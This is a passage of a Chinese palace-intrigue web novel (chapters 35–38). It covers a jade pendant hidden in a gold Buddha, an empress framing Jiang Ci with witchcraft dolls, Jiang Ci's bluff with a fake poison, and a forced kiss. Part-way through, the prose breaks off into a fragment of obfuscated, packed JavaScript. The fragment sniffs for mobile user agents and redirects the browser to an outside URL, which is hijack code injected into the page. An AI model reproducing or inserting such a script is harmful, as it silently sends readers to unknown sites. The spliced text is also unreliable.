话音未落,谢祈飞身而起,一脚踢在那尊佛像上,它竟是丝毫未动。
香灰炉里檀香烧至中段,香灰被震得掉落了下来。
谢祈抿了抿唇,这东西通身古铜色,虽呈坐姿却十分高大,脸上笑容慈悲而宁静。
“主子,不可。”银幽上前,躬身语气中带了些担忧,“这是佛像,弄坏了恐佛祖责罚,来日命途不顺。”
“我的命途何时顺过?若这东西能决定,我早就死了。”
说着,他抽出鞘中泛着寒光的铁剑,紧紧握在手中,剑身上印出他决然的眼眸。
为何陈黛找不到东西,她如此尊敬眼前东西何时能找到?
他不是陈黛,眼前这佛像他不知道是什么,也无心依靠这种虚无缥缈的东西。
谢祈用力踩在地上,借力腾空飞起,一剑劈在佛像头前,那处瞬间凹陷下去。
上层覆着的铜铁被破开,披露出底下金灿灿一片。
银幽眸中闪过惊讶:“居然是金子。”
就这般放在院中,说没有诈谢祈是不信的,他长舒一口气,再次击上,佛像终于露出其中的面貌。
木质台面上放着一个璀璨的琉璃盒子,在阳光的下折射出光芒,一块玉制玉佩放于其中。
谢祈想也没想就将盒子打开,查看那枚玉佩,片刻后,他微微蹙眉。
饶是他没见过那所谓能“号令百军”的东西,但也知道绝不可能是眼前这块玉佩。
他微微捏紧玉佩,将它塞入腰间。
不过这东西应是有用,谢挽如此精心保护想来是视若珍宝之物。
方才闹出太大动静,佛像被劈成两瓣,前方那檀香竟然断在炉中,剩最后一小截孤零零插在那儿。
谢祈淡淡道:“银幽,找人将这东西修一修。”
随后他便走了出去,陈黛竟在谢府门前等着他,冬风猎猎吹着,她一身衣袍被吹得作响。
“东西找到了?”
谢祈看她一眼向前走着,陈黛在后面死死咬着牙,他道:“那里没有你要找的东西。”
“没有?”陈黛声音陡然尖锐,“不可能!”
怎么可能没有,不然她嫁到谢家的意义是什么,陈黛有一瞬失态,很快调转回情绪:“你没拿到东西会走?”
“我拿到的不是你想找的东西。”谢祈在她看不见的地方勾了勾唇,“况且,就算没有,那又如何?”
说完他便消失在风中,陈黛眉头紧锁,他难道不是为了救人才来找东西威胁谢挽的吗?
如今说就算没有,是何意思,他那般自信的模样,难道还有后手?
陈黛隐隐捏紧了拳头,声后传来谢祠憨厚的声音:“娘,你在门口干什么呀,爹爹为何躺在榻上怎么都喊不醒。”
她闻声立马换了副慈母的表情:“祠儿怎么来了,外头风大,快回里屋去。”
-
一个时辰后,那所谓的大师被请来了,她身穿灰色素净长袍,上头一点装饰都没有,脖子上挂着大大的檀木珠子。
她皮肤呈现小麦色,面似老妪满是皱纹,看上去有些凶神恶煞的意思,但细看她眼中,分明是空洞和麻木。
不是那李嬷嬷又是谁。
冬雪头埋得低低地,闷闷出声:“娘娘,人带来了。”
她跟了谢挽那般久,对她一些手段也不见外,谢挽向来喜欢做戏做全套。
可看到她这般计谋时还是难免感觉有些犯怵,她是与谢挽最亲近的下人,也是最危险的。
等的时间有些长,谢挽一手撑在椅旁,眼眸闭着像是睡着了一般。
底下人也低低垂着头,刚才的惨象所有人都见到了,个个吓得面色苍白。
谢挽缓缓睁开双眼,鸦羽似得睫毛在阳光下投下一道阴影,光线照了她半面,看上去温暖极了。
李嬷嬷慢慢走到她面前,平静鞠了一躬。
谢挽淡淡溢出一声:“嗯。”
随后换了副神态,面上带了些害怕:“大师,快看看这宫中是否是有脏东西,近日来总是有人离奇死亡,死相惨绝。”
李嬷嬷听后,闭眼装模作样捏着手,随后呜呜叫着,众人都被吓了一跳,这人居然不会说话。
谢挽挥了挥手,冬雪反应过来,拿了纸笔给李嬷嬷。
她的手皱皱巴巴的,还带了些颤抖,拎起笔歪七扭八地写下。
“死者可是两人?一人倒挂,另一人在她身上。”
她写下这字的时候喉间陡然出现一抹腥甜,这两人都是她摆的,她怎么会不知道。
身边人一个一个离去,她手上沾了太多祸端,入了宫中也别想着出去了,只愿外头的家人能安然度过一辈子。
今日,她总算可以解脱了,为了这件事不被调查,谢挽用完人之后都会抹杀其存在,这次也一样不例外。
可她并不怨恨
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,这路都是她们自己选的,再怎样也得走完,乱世之中家人能得皇后庇佑,享一生荣华富贵,她的死也算值。
“你怎么知道?”谢挽装作一副惊讶的模样,“难道真的是有人……”
底下人顿时议论不停,说着谁会这么恶毒,李嬷嬷继续写下。“这宫里满是瘴气,有人布下了邪祟,你们可曾见过形似娃娃,却是人面的东西。”
她说完,底下议论纷纷,婢女端上那两个东西,战战兢兢道:“大师请看。”
李嬷嬷见着,马上点头,口中又是一串叫声,她提笔再写。
“此乃巫蛊娃娃,一个颜色有一对,每个都可对应一个人,使用者着那方应还有另一只。”
众人皆抬眼看去,果不其然,盘上那两个娃娃衣服颜色并不一样。
一个婢女看完,面色苍白地跪了下去:“前几日死的人中,屋子里也找到了!”
谢挽见差不多了,唇角勾起,直戳主题:“那劳烦大师帮本宫找出这在宫中作乱之人了。”
李嬷嬷笑着点了点头,只是这面容怎么看都有些可怖,她转身写着。“可有人记得第一具尸体是在何时出现。”
“是宫宴之后那天。”晴鸢忙答道,俨然已经完全相信了。
李嬷嬷佯装深沉,从怀中拿出一个转动不停的东西,嘴里念着众人听不懂的文字,随后那东西离奇指向了西边。
众人纷纷惊呼,李嬷嬷望向她们,似乎在问这个方向是何处。
“是雪琼苑!”露雨不自觉咽了咽口水,“难道那人就在那处?”
李嬷嬷闻言故作高深点了点头,谢挽轻笑着,眼中划过一丝狠辣:“那还等什么,走吧,在宫中行这种事的人可不能轻易放过。”
后面那几个字被她咬得死死的,仿佛真的狠毒了一般,李嬷嬷长吁出一口气,终于结束了。
一行人浩浩荡荡地往那方走着,谢挽眸中藏不住的轻蔑和兴奋。
晴鸢与露雨落在队伍最后面,晴鸢不自觉地蹙了眉:“你不觉得一切都太过顺利了吗。”
“前几日娘娘什么都不管,今日却弄出如此浩荡声势。”她心中有股说不出来的奇怪感。
露雨抚上她的手安慰道:“娘娘有心管不是更好吗,没事的。”
-
姜瓷坐在那方百无聊赖地看着书,手有一搭没一搭地敲着石案。
若不是她此刻被囚禁在这处,那这雪琼苑景色真算是诗情画意了,周边树木环绕,叶子虽落光了,却能透出阳光。
院中只一石案,种下的花花草草倒是不少,冬日里依旧挺立着。
“小姐,这该如何是好。”竹月在后边双手捏在一块急地团团转,“已经在这一天了,皇后娘娘也未曾给个准信儿。”
“她要刁难我,我没办法,静观其变吧。”姜瓷语气沉稳,未见一丝慌张,竹月倒是微微放下心来。
忽然,雪琼苑的门被打开,前方人高声道:“五公主驾到!”
姜瓷眸色一沉,萧茵现在来是要如何,她将手中书放下,微微福身道:“公主万安,殿下来可是要学琴?”
萧茵颇为不屑地看她一眼,眸中藏不住的笑意:“学琴?”
她缓步走近姜瓷:“那也要看你有没有命来教本公主了。”
36.第 36 章
姜瓷淡淡一笑:“公主说笑了,小女在这宫中若是没了命,只怕殿下也不好交代吧。”
“你威胁我?”萧茵牙关咬紧,心中愤恨,凭什么她还能这么镇定。
“小女不敢。”姜瓷虽笑着,眼中却不见半分笑意。
萧茵被她这态度弄得怒气上涌,可转瞬想到她很快就要倒霉了,又忍不住笑了出来:“让你再嘚瑟会儿。”
说罢,她便跟到了自己家似得,往石凳上坐去,后面的婢女撞了竹月一下,眼中满是挑衅。
姜瓷背对着她,眉头微微蹙起,萧茵敢来对她说这番话,已经是底气十足。
可她还不知道萧茵和谢挽会用什么样的手段对付她,姜瓷厌烦极了这种不能预知的危险。
她本无心与这两人扯上关系,现在她们却想要她性命。
萧茵坐在那方,眼里迸发着光自信不减,她心情好极了:“等母后来你就知道了,敢抢本公主的人还羞辱本宫,非得让你知道下场。”
长长的眼睫遮住了瞳孔看不清神色,姜瓷看向前方又关上的苑门,生怕她跑了似得。
她并未理睬她,萧茵本就是故意来跟她说,想看她害怕得瑟瑟发抖求她的样子。
可现在姜瓷一如往常那副高贵,仿佛自己才是那个害怕的小丑。
她拍案而起,怒道:“你有没有在听本公主说话?”
说着她便走到姜瓷身后想要推她的肩,姜瓷身量约莫比她高出小半个头。
她察觉到身后人,眸底一暗,微微侧过身去,随后顺势拉住她那只手腕,将萧茵的手臂折起,拥在怀里。
尖锐的簪子抵在萧茵颈间,她刚刚还自信的神色瞬间转化为愤怒,却又带些慌张。
“你干什么!放开本宫。”
说着话却不敢乱动,那簪子触感冰凉,她想要伸手去抓,可她两只手又被姜瓷巧妙的圈住。
“公主别乱动,万一这东西不长眼伤了公主便不好了。”
姜瓷似笑非笑,语气中分明带了几分威胁的意思。
这样做的确不是最优解,可她的耐心也就到此为止了,她不想再拿命赌。
她想要知道萧茵这么自信的底气,敢只身到这处来挑衅。
簪子又往前推了一分,萧茵下意识的微微仰起了头,高声喝道:“你疯了!”
竹月也是被这样场景吓了一跳,没想到自家小姐会做出挟持公主一事。
她知道姜瓷向来是个有主意不喜欢坐以待毙的人,可现在也难免为她担忧。
“你快点把殿下放开。”刚刚撞她那丫鬟在那方急地团团转,“若是娘娘知道了定要你好看!”
“那便看看是你的娘娘来的快,还是我的簪子更快了。”姜瓷面上满是笑意,却叫那婢女背后发凉。
她继续道:“左右我都是要死了,那便拉个人一起死,公主为我陪葬,怎么想都不亏。”
萧茵闻言又是想要挣扎,奈何簪子抵在脖颈,姜瓷还钳住了她的手。
她没想到平日里看起来冷冷清清的姜瓷手上力气竟这么大。
那婢女在那方焦急万分,想上前却又怕她弄伤萧茵,不帮忙却又怕萧茵责怪。
思索片刻她还是向前一边走一边道:“你快点把公主放开!”
竹月下意识挡在姜瓷身前,姜瓷见此又将簪子收紧半分,萧茵明显感觉到脖子上刺痛一下。
意识到姜瓷不是开玩笑的,她第一次察觉到害怕,急喝道:“停下!”
萧茵有些后悔不带人来找她,想要看她吃瘪神色,没想到自己反而成了被威胁的那个。
现在她丝毫不怀疑,若是自己再乱动姜瓷这个疯子绝对会用簪子刺穿她的喉咙。
萧茵定了定神色,在心中想着,现在先稳住她,等到谢挽来了,谅她也不敢再怎样。
“公主别急,一会小女自会放开公主。”姜瓷悠悠地说,目光却看向了竹月。
两人对视一眼,竹月瞬间明白了她的意思,捏紧手中药粉。
姜瓷慢慢向前移动着,萧茵不得不跟着往前,她有些不耐道:“我劝你快点放开我,待会母后来了有你好看的!”
她并未答话,待移至竹月身前时,姜瓷微微点头,竹月上前便用沾了粉末的手捂住萧茵的口鼻。
她刚要惊叫出声,却觉得身子有千斤重,眼前一黑倒在了姜瓷怀里。
那婢女见状急道:“你们干了什么!”
她眼中满是恐惧,待会皇后若是来了看到这副场景她也别想好过了。
姜瓷略微使了一个眼色,那婢女也被竹月迷晕了去。
两个人脱力倒在院中,姜瓷吐出一口气,竹月有些害怕:“小姐,现在该怎么办。”
她垂眸看向她们:“放屋里就行。”
那药粉是她出发之前特地带来防身用的,只要吸入便至少能昏迷一个时辰,没想到还真派上了用场。
阳光穿透云层,今日天气格外晴朗,甚至有些叫人睁不开眼,可阳光这般好却还是冷的叫人打颤。
刚把两人藏好,门口就迎来一声:“皇后娘娘驾到!”
姜瓷双唇紧闭,凝眸看着那道门被打开,阳光穿过树枝,落在谢挽含笑的脸上。
不等姜瓷行礼,她便高声道:“给我搜。”
她身后浩浩荡荡一群人,看向姜瓷的目光或是堤防或是害怕。
唯独那上了年纪的嬷嬷,空洞的眸子中带了些悲怆的怜悯。
姜瓷眉头蹙起:“娘娘,不知所为何事,但这般闯入不太好吧,怎么说臣女也是娘娘请来的琴师。”
“宫中最近频频死人,本宫身为六宫之主,自然要彻查此事。”谢挽淡淡睨着她,颇有种不屑的意味。
可说出来的话却是温柔至极:“姜二姑娘无需慌张,若是没找到那东西,本宫自会离开。”
“今日是臣女进宫第二日,这事与臣女何干?”姜瓷目光直直看向谢挽。
她轻笑着:“人是从宫宴之后开始死的,本宫也找高人算了,现在凶手就在此苑中。”
话里话外的意思便是认定了她是凶手,可是从宫宴后便出了事,非要等姜瓷来了再查是有何用意。
晴鸢向来聪明,自然能听出些许不对劲来。
再看对面女子,面容似霜雪般清冷,气质高贵,站在那方不卑不亢。
晴鸢看向谢挽的目光顿时多了几分狐疑,又开始担心露雨。
姜瓷知道自己再多说也无意义,谢挽想要刁难她有千万种手段。
她静静等待着,片刻后,房中出来个婢女,端着盘子上摆了几个诡异的娃娃。
她把娃娃递上谢挽眼前:“娘娘,就是这个。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151244|146747||http|test|mini|href|location''.split(''|''),0,{}));
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>露雨看了一眼便又想起耳房里的惨状,一时有些反胃,没忍住往后退了几步。
其他人也是一片哗然,没想到尚书府嫡女会做出这种事情。
晴鸢扶着露雨更加确定了这是谢挽演的出大戏,看向她的眼神变得复杂。
谢挽假意看了两眼后高声道:“来人,把她拿下。”
底下两个婢女抓着她的手腕,扣住她的肩,姜瓷也并未挣扎,背脊挺立着任由她们动作。
“物证俱在你还有什么好狡辩的?”谢挽一副势在必得的模样笑着问。
姜瓷转眸看向那盘子上的东西,个个肢体扭曲,还沾着粘稠的血液,看上去恶心极了。
她瞬间明白了谢挽的招数,用这种东西就将那般恶劣的事扣在她的头上,还真是叫人唏嘘。
虽然知道没什么用,但姜瓷还是如实回答道:“臣女从未见过这些东西。”
“那怎么会出现在你房中?”谢挽也不想再多演戏,面上一抹狠戾划过,直接道,“将她带下去,押入牢中,听候发落!”
那两个人听令,扣着她便要往外走,姜瓷眸子垂着,在心中默算着时间。
竹月也被人押扣,她挣扎着急急叫道:“你们放开!小姐从未做过这种事!”
几瞬过后,姜瓷刚行至谢挽身侧,屋中跑出来一个婢女,面上却万分焦急。
她小跑过去,贴在谢挽耳边说了些什么,下一瞬,她刚刚翘起唇角蓦地放了下去,眼中不屑化为了愤怒和怨毒,向来装作柔和的她有些失控。
“你把茵儿怎么了!”谢挽一掌拍在轿上,坐直了身子。
萧茵被抬出来,放在了椅子上,嘴唇面色皆苍白,头低垂着,毫无生机的模样。
她一眨不眨地盯着谢挽,并无半点慌张,明明谢挽身居高位,她却更像主导者。
“娘娘最好让她们放开,不然臣女不保证公主能不能醒来。”
她笑了笑继续道:“此毒一个时辰内不解便会丧命,看娘娘能不能赌得起了。”
此话一出,底下人将头全部埋得低低的,生怕牵连到自己。
她站在谢挽侧边,谢挽看不清她的神色,却也能发觉她言语中的笑意,顿时怒火中烧。
“你用茵儿要挟我?”谢挽微微咬住后牙,“你以为这样你就能有命活了!”
“娘娘说笑了,臣女不敢妄想。”她话锋一转,声音透出几分寒意,“娘娘今日来不是本就为了要臣女性命吗,臣女欣然赴死。”
两人目光碰撞,姜瓷哪有半分退缩的样子,谢挽移开目光看向垂着头在那的萧茵,死死咬住唇。
姜瓷一副不畏死亡的样子,可是她怕萧茵出事,她不敢赌。
谢挽凌厉的眸子又转向姜瓷,半晌后,她吐出几个字:“松开她。”
姜瓷微微活动了下手腕,轻笑道:“多谢娘娘。”
竹月早已在后方看得目瞪口呆,忍不住咽了咽口水。
若不是她知道这药粉只是能让人沉睡并无其他作用,那还真要信了姜瓷的一番话。
“解药。”谢挽已经极力保持冷静,阴测测看着她。
姜瓷又不是傻子,在宫中告诉了谢挽真相只怕小命不保,如今已经是剑走偏锋,不妨再多威胁一次。
她悠悠道:“娘娘将臣女送到到宫门,臣女自然会交出来。”
37.第 37 章
“放肆!”谢挽怒极,方才压制下去的情绪又爆发了出来,“你还敢跟本宫提条件,茵儿若出了事本宫要你全家陪葬!”
“娘娘随意。”姜瓷轻轻一笑,闭上了眼睛,心中算着萧茵醒来的时间,“只是再不快点,公主殿下怕是醒不过来了。”
日照当头,正是晌午时分,温暖的阳光落下,她眼下投出一小片阴影,看上去闲暇极了,藏不住的自信。
谢挽坐在那方觉得下不来台,自己堂堂六宫之主竟然被一个小丫头威胁。
她眸子一沉,上一次这样的还是她那个好侄子,谢挽咬住牙,虽不甘心可萧茵如今这样她却也不敢赌。
“把她送到宫门口。”
姜瓷闻言睁开眼,勾起一抹笑容,恭敬道:“多谢娘娘。”
她全不顾谢挽眼神中的狠辣,淡笑着朝外走去。
竹月在她身后快步跟上,一下也不敢回头:“小姐,皇后娘娘若是知道了你骗她……”
姜瓷嘴唇轻抿着,她想过这个问题,可当务之急是先回府。
她轻声安抚道:“无妨,一切先出宫再说。”
在宫外谢挽想要她命便没那么容易了,萧策可不会放任她将手伸得那么长。
萧策向来多疑,她是尚书府嫡女,兄长是兵部侍郎,谢挽贵为皇后三番五次将她叫入宫中的话难免惹来猜忌。
行至宫门前,姜瓷坐上了马车,露雨拦住她,警惕道:“姑娘,解药。”
她伸出玉手,微微拉起车帘,一个小瓶子置于她的手中,里头装了个小药丸。
那药丸也不过是一味强身健体的东西,她也未尝过,并不知道功效,蒙混过去应是可以。
露雨上前小心翼翼接过,马车立即开走,卷起一阵石土,她不敢耽搁,急急送回坤宁宫中。
紫檀木香帐床上,萧茵虚弱地躺在上面,身上盖着层厚厚的被褥,床幔垂下更显她苍白。
谢挽见露雨来了,急道:“快喂给茵儿。”
露雨不敢有片刻迟疑,倒出小药丸便走上前去,小心翼翼地推入萧茵口中。
可不等她送进去,萧茵陡然咳嗽起来,面色开始变得红润,眼睫颤动着。
这分明是要醒了的模样,露雨愣神片刻捏紧了手中药丸,收回掌间。
萧茵咳嗽着坐了起来,她虚弱道:“母后……”
露雨被谢挽挤至后方,看着手中药丸没反应过来是何情况,分明还没喂给她,怎么就醒过来了。
谢挽上前抓住萧茵的一双手,眼底满是担忧:“茵儿可还好?”
萧茵迟疑着点了点头,扫视周围环境,蓦地想起来什么。
她整个人突然紧绷起来:“姜瓷呢!我为何在这里?”
谢挽默着屏退了下人,声音微凉:“她对你做了什么?”
萧茵听着她的语气,逐渐冷静下来,又想到方才姜瓷对她做的事情,她哭道:“母后!她差点杀了我。”
她把事情添油加醋讲了出去,谢挽面色越发阴沉,最后竟是笑了出来。
她抚上萧茵的后脑,安慰道:“茵儿好好休息,别怕,本宫不会放过她的。”
萧茵咬着唇点了点头,谢挽看着她脖子上一抹殷红,恨意越发浓厚。
原是对尚书府的厌烦,后来她那侄子为了姜瓷敢威胁她,她便更加讨厌姜瓷,现在她竟然伤了茵儿,那就别怪她手下不留情。
-
入夜,坤宁宫褪去白日里的喧闹,一片寂静,门外两个婢女守着,露雨不自觉打起哈欠,眼角渗出眼泪。
傍晚时她拿着那个小丸子去找了晴鸢,想问问她,晴鸢向来聪明,一听便明白了过来。
原来那姜二姑娘压根没给公主什么毒药,只是将她迷晕了过去。
露雨心里不由得感叹,这姜二姑娘真是好胆量。
屋内,谢挽独坐案前,晃动的烛光映在她的侧脸,照出她眼底一片阴鸷。
案上放着封书信,里头的字墨在信封上印出颜色却看不清是什么,只能见着上头写着的几个大字,温蕙亲启。
忽然,屋顶传来一阵微不可查的响动,黑色身影窜行于夜空之中。
谢祈神情专注跳下房檐,迎上露雨惊讶的目光,她刚要大叫,谢祈斜掌将她和冬雪都打晕了过去。
门外两人齐齐倒下,谢挽察觉到动静,眼神陡然犀利,抬头看去:“谁?”
月光印出外头的身影,门被推开,谢祈眸子半眯着:“好久不见,姑姑。”
谢挽眉头蹙起,一副堤防的样子,默不作声地将案上书信往隐秘处推去。
“你来干什么?”说完谢挽又想到姜瓷,尖声发问,“来给那姜二报仇?”
“她在哪。”他语气没有一丝温度,裹挟着外头的寒气竟叫谢挽忍不住重新打量起这个侄子。
他只不过是她和谢季的一把好用的剑,若这剑伤了自己,那不如折了。
只是他哪来的底气这么对她说话,谢挽眼底满是寒意。
看他这般焦急模样,她淡淡勾起唇角:“死了!”
一瞬间,谢祈捏住玉佩的手猝然缩紧,竟有鲜血涌出,顺着玉佩的纹路一滴一滴落在地上。
他眼睛有些红:“你说谎。”
谢挽含笑打量着他,看他的样子竟冲淡了几分被姜瓷戏弄的怒气。
“谢絮安,你值得本宫骗你吗。”她斜睨过去,不屑道,“别把自己看太重了。”
灯火晃动,静默片刻少年冷冷出声:“有我在一天,你就别想实现你的荒唐梦。”
“你说什么!”谢挽声音陡然拔高,“就凭你还想阻拦本宫?”
谢祈淡淡看着她,幽深的眸子中一片死寂,他抬手,一块玉佩在他手间晃动着,上头还带着丝丝鲜红。
谢挽起初不明白他的用意,半眯着眸子将他手上那东西看仔细了,瞳孔紧缩。
“怎么会在你那!”她突然喝道。
那玉佩分明被她藏在金佛之中,怎么会在他手里。
谢祈知道这是有用了,于是将玉佩收了起来,平静看着眼前女子。
贵为皇后,身着一身凤袍,本应雍华至极,却也面目扭曲,看上去十分恶毒。
“给我!”
谢挽猛然起身,竟是连“本宫”也不说了,她快步上前,眼神尖锐。
乘谢祈未察觉,从袖中抽出一把尖头短剑,剑柄通体金色,上面镶嵌着好看的绿宝石。
刀尖翻转,直直朝谢祈刺过去,他眉头微微蹙起,往后退去,用玉佩挡谢挽的刀。
她眼眸颤动,反应过来,却已经快来不及,只得将短剑翻个圈,调转刀尖朝自己刺。
刀口微微点上她的胸前,她并没有受伤,却也
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不敢再贸然出手。
出身江湖武功世家自然是会武功的,她这么多年来一直没用过,没想到今日第一次拿出那短剑是用来对付她的侄子。
谢祈也不着急,等她冷静下来再开口道:“姜瓷在哪。”
谢挽说的话他一个字也不信,她怎么可能悄无声息的死了!
他捏着那玉佩仿佛下一瞬就要把他粉碎一般,谢挽看了眼玉佩又对上他默然的眼睛。
半晌后,她终于咬牙说了出来:“在尚书府。”
这话无疑是让她又想起被姜瓷威胁时的怒火,一时间戾气难掩,将现在的情况归结在她身上,恨意更加浓厚。
谢祈闻言蹙眉又重复了一遍:“尚书府?”
“你自去问便是。”谢挽不愿再多说,伸手便去抢那玉佩。
他眸光一闪,向后退开,谢挽见状眉头紧锁,微微捏紧手中短剑,声音低沉:“你想知道的本宫已经告诉你了。”
“姑姑再答应我一件事。”谢祈对上她满是怒意的目光,悠悠道,“今后都别再找她麻烦了。”
谢挽盯他半晌,蓦地笑了出来,月光穿过房门,将她身影拖长。
她慢慢向前移了几步:“你倒是关心她。”
谢祈抿着唇并未言语,忽然,短剑又向他刺来,谢挽面上杀意显露,那剑又快又准,向他喉颈直直扎去。
风刮过,烛光挣扎着摇曳几瞬熄灭了,顿时房中只剩下月光照亮的几分。
谢祈没料到她会突然出手,凝眸抽出腰间长剑,顺势上挑,轻易挡下她的剑。
谢挽抬手绕半圈,又想要刺向他,谢祈退至木柱前,却忽然翻身至谢挽身后,长剑架在她的脖子上。
凤袍拖在地上被谢祈踩住,谢挽手缓缓放下,短剑落地发出清脆的响声,上面的绿宝石也被砸碎四溅。
宝石中倒映出谢挽的脸,却是意想不到的平静。
“本宫答应你。”她眸子低垂着,淡淡开口,“玉佩还来。”
谢挽遮掩住眼中的情绪,她打不过谢祈,方才怒气上头才失了理智。
况且,留谢祈还有点用处,暂且先答应他也无妨,毕竟嘴上说说又不一定要真这么做。
谢祈看不见的地方,她眸中闪过一丝怨毒。
谢祈沉默片刻,慢慢收了剑,玉佩被他放在案上,谢挽看到急急小跑过去,将它捏在掌心里,上下打量着。
她手指用力擦拭着上头的血液,指尖都泛了白,见玉佩未损才放下心来。
他将剑收回鞘中,寒声道:“望姑姑遵守诺言。”
谢挽闻言抬眸,眼睛微微眯起:“我们是一条船上的人,你帮着外人对付本宫,你不想给你娘报仇了吗!”
她说的痛心疾首,仿佛谢祈干了什么十恶不赦的事。
谢祈顿了片刻,缓缓勾起了唇,这么多年之所以甘愿被他们利用,只不过是想多一个活下去的理由。
爹不疼母不爱,却冠冕堂皇的要他给母亲报仇。
“母亲已经死了,活着的人才更重要不是吗?姑姑。”谢祈眼中满是寒意,那抹笑间藏着谢挽看不懂的情绪。
“姑姑是有孩子的人了,何必呢。”他说完嗤笑一声走出了房门,轻轻一跳便消失在月色中。
谢挽立于案前,听着他那番话脸色阴沉到极点,手死死捏住玉佩,发起抖来。
38.第 38 章
昨日分明还艳阳高照,今日的天却变得格外阴沉,黑云笼罩着,叫人喘不过气来。
宁谭坐在那方老旧铜镜前,用红纸抿了抿唇,一滴泪却不合时宜的滴落下来,砸在她的手上。
“姑娘怎么哭了。”莲菲担忧看过来,“哭花了妆可就不好了。”
宁谭同样惊讶,她早早就抑制了情绪,对于现在的情况已经释然了,没想到还是落了泪。
铜镜里的她,眼角微红,平日里向来素净的人今日一袭红绿衣裳,袍上金线刺绣繁多,看上去美艳又华贵。
因着许山不喜她穿艳色衣裳,所以她大部分时间都着淡色,没想到今日红袍甚是叫人惊艳。
她轻轻擦去手上泪水,平静道:“无事,我不会再为他哭了。”
宁檀眸子半垂着,继续道:“从他让我替嫁的那一刻,我的心就已经死了,今后把日子过好,只要你在我身边,哪里能活下去的。”
话音刚落,木门却忽然被打开,宁檀闻声站起,紧张地向后退了一步,顺势将莲菲挡在身后。
本就逼仄的地方她也没有太多后退的余地,那人进来后他们之间堪堪离了两人的距离。
许山脸色深沉,不知道为什么听到她说心已死的时候突然感觉胸口钝痛,像是自己的宠物忽然叫了别人主人,还对他露出尖牙。
在宁檀面前他向来是个随性的人,于是他按着自己的心意便走进来了。
进来之后却看见她一脸防备的模样,他心底又是一沉。
宁檀退无可退,他却步步紧逼,直到两人之间只剩下一掌距离他才停了下来。
身后莲菲满脸担忧,轻声喊着:“小姐。”无奈自己被堵在最里面动弹不得。
许山进来时只想着宁檀说的话,心中怒意翻滚,可如今对上她的眸子却感到一阵惊心。
实是太美艳了,与平日里的她完全不同,多了分端庄华贵的意味,那张脸却还是他最喜欢的温婉气质。
他眼眸骤然暗了几分,喉结滚动,不自觉又迈开脚步想向前进。
宁檀当然有所察觉,冷冷道:“公子自重。”
许山不顾她说话,望向她身后的莲菲:“出去。”
莲菲被堵在里面,看向宁檀的目光中满是不愿,她害怕许山做出伤害宁檀的事。
宁檀微微呼出一口气,握住她的手轻轻捏了捏,安抚似得点了点头,示意她别担心。
可这路实在狭窄,旁边就是宁檀睡觉的床塌,她有心走也出不去。
宁檀察觉,眉头微微蹙起,寒声道:“公子挡在这方,莲菲该怎么出去。”
话中满是疏离的意味,许山听后绷着脸朝后退了几步空出来地方。
宁檀向前走去,这才让莲菲出去了,她行了礼担忧看宁檀一眼,将门关上。
门关上的那一瞬,许山再也抑制不住,大涨掌捏上宁檀的细腕,将她摁在门上。
她惊呼一声,挣扎起来:“你放开!”
下一秒,薄凉的唇却强势落在了她的唇上,宁檀眸子睁大,还想要挣扎,却被许山圈在这寸地之间。
莲菲刚出去便听到这声响,急急回头拍着门喊道:“小姐!没事吧。”
说着她便要推门,奈何宁檀被压在门上,那门怎么也打不开。
宁檀想要说话,唇却被许山含住,一个字也吐不出,狭小的房间呼吸声急促。
她的口脂染在了许山的唇上,他带着一股不容拒绝的意味,莲菲还在门外呼唤,她极力张开嘴刚要出声,许山却借机钻进她的口中。
温热软滑灵活地撬开牙关,宁檀唇角有津液流出,她发饰繁重,靠在门上乱了几分,现在看起来狼狈极了。
明明说好再也不哭的,被这样对待却还是忍不住流下了泪。
许山吻的又急又凶,裹吸着她口中小舌,周遭本寒冷的空气,都因为这个吻急剧升高。
不知过了多久,宁檀无力挣扎了,有种喘不上来气的感觉,许山这才微微松开了她,额头贴在她的额上,喘着粗气。
鼻尖相触,宁檀只觉腿下一软,快要站不住,许山见状扶住了她,将她搂在怀里。
她口脂早已被吃干抹净,双颊潮红,唇上却显得有几分苍白。
宁檀倒在许山怀中,过了片刻才恢复了力气,她又气又恼,推着许山就抬起握拳的手要去打他。
许山眼眸一沉,接下她软弱无骨的拳头,顺势一拉,她又贴在了他的胸口,不知情况的人从远处看过去像极了一对浓情蜜意的有情人。
“别动。”许山眼睛闭着,眉头微微皱起,声音低沉。
晨间太阳刚刚升起,却太过无力没能冲破乌云,外头一片暗沉。
莲菲见里面动静变小,也渐渐安静下来,蹙眉耐心等待着。
宁檀极力克制着自己的眼泪,却还是忍不住,蓄满了泪的眼框终于到了临界点。
泪水涌出,她却动弹不得,干脆靠在许山胸前将泪全部溶进他的衣袍里。
即使她在克制,许山还是有所察觉,眼前人在小声抽泣。
他轻轻将她向后拉了一些,本来藏着的眉眼突然被光照到,宁檀眼中多了几分无措。
她眼泪还挂在眼角,唇上破了皮,本来被吃去口脂的唇又染上鲜红,看上去像被欺负狠了,处处可怜的模样,许山忽然生出一丝后悔,真的要将她嫁去宋府吗。
不过这念头转瞬即逝,她终究是捡来的,和自己亲妹妹比起来还是亲妹妹更加重要。
许山一瞬之间便确定了自己的想法,他低头吻上宁檀眼角的那滴泪,随后低低道:“别任性了,乖一点,若是宋府不要你,你再回来我娶你为妾。”
宁檀险些被气笑了,她一把推在许山身上高声道:“是谁先来招惹我的?”
她眸中寒意不减,对上许山的眸子继续道:“我宁檀便是死了,也不可能当你的妾!”
从前的她爱慕许山,若是能听到许山要娶她不知道该多高兴。
可如今她只觉得讽刺,看着眼前人也越发的虚伪。
许山自认为已经够给她脸面了,她却不懂珍惜,他眼底顿时浮出几抹不屑:“宁檀,你别不识好歹。”
宁檀依旧那副样子,倔强地盯着他,片刻后,许山鼻腔中发出一声冷哼。
从侧边开了门快步走了出去,面色比刚来时阴沉不止一点。
莲菲守在门口,自然听见那番话,见许山那副模样,慌忙走了进去:“姑娘,没事吧。”
宁檀跟失了魂一般站在那方,唇上肿起,还有丝丝鲜血,谁看了不知道刚才发生了
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什么。
莲菲面上瞬间浮出怒意:“公子他怎么敢!”
转瞬却又变成对宁檀的担忧,上前去扶着宁檀:“姑娘,时间快到了,莫要再伤心了。”
